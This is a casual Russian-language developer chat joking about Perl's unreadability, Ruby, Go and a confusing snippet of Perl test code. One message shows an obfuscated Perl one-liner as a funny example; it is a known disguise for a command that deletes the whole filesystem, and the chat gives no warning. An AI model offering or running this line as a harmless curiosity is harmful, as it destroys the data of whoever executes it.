Dmitry
и чо
Alexander 🐕
Что такое “нормальная объектная модель”?
Alexander 🐕
В Perl есть Moose, Mouse и т.п.
Alexander 🐕
В Perl есть метапрограммирование
Alexander 🐕
Че еще надо-то
Dmitrii
Dmitrii
Нет. Даже целая свалка.
Dmitrii
А еще работает как тормоз.
Amir
Nikolay
ну таки ходят слухи, что перл-скрипт можно писать и выкидывать, писать и выкидывать; так и жить с этим
Nikolay
эти самые однострочники на перле
Amir
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|{;;y; -/:-@[-{-};`-{/" -;;s;;$_;see'
Amir
такие?
Nikolay
Nikolay
перл щас нужен только для саппорта старых проектов ящитаю
Amir
otrs
Amir
чтоб его
Alexander
Микросервисы можно на нем писать
Sergey
Uncel
Nikolay
перл это когда ты сам написал, сам понял, а другой не понял; а на следующий день ты и сам не понял
Nikolay
лол
Amir
ну про руби тоже самое можно сказать
Amir
наговнокодил в своем стиле а у другого радугой тошнит
Sergey
Руби разрабатывался как перл на стероидах
Sergey
Неудивительно
Amir
окей
Amir
perl -> ruby -> scala
Amir
стероиды зло
Sergey
Хотя, регулярки можно на любом языке написать так, что шерсть дыбом встанет
Nikolay
не, не видел :) ; такое есть только в моих скриптах, которые 1-2 раз запустить и выкинуть
Sergey
У меня тут коллега json на sed парсил
Sergey
Вот это ад)
Amir
jq?
Sergey
jq тогда ещё не было
Denis
просто бершь и делаешь flat array из ключей джсона
Donald
Amir
темные временя какие-то
Denis
и не паришь мозг
Donald
перл - это новый руби
Amir
перл + верстка + жс
Amir
шикарная вакансия
Constantine️
причем чтоб было совсем круто
Constantine️
жс на реакте
Dmitrii
Dmitrii
Ну давайте эксперты по перл. Что делает этот код?
Nikolay
пыхеры переходят на го, а js-девам деваться некуда 😄
Nikolay
я перла не знаю, не знаю, что и сказать
Dmitrii
Это кусочек продакшн кода.
Amir
нашел...
Amir
for my $num (1..8) {
is(join('', map {$_->[0]->{g}.$_->[0]->{lp}.$_->[1]->{g}.$_->[1]->{lp}} $gplmgi->($data->{$num}, $data->{"dn_$num"})),
$data->{"res_$num"},
"TestCase $num need ".$data->{"res_$num"}
);
}
Dmitrii
В тред призывается Alex
Nikolay
тогда всё нормально, раз в проде 😺 ; разрабы говна в прод не подсунут же
Constantine️
Donald
перл + верстка + жс
всё как в старые добрые времена. хорошо хоть дизайнить не заставляют
Nikolay
Nikolay
ну а кто еще?
Amir
Nikolay
больше некому
Sergey
Dmitrii
Dmitrii
В общем поэтому перл и говно
Amir
длинну вложенного масива?(
Dmitrii
Что программист другого яп без подготовки не сообразит
Nikolay
Nikolay
рутины
Amir
кхм
Sergey
скорость
Далеко не всегда есть профит
Amir
ну да
Sergey
За скоростью лучше на кресты
Amir
ну помойму это обычная практика так делать
Nikolay
нахер ваши кресты
Amir
го какой-то странный
Nikolay
лучше докупить железа и писать нормально, а не есть кактус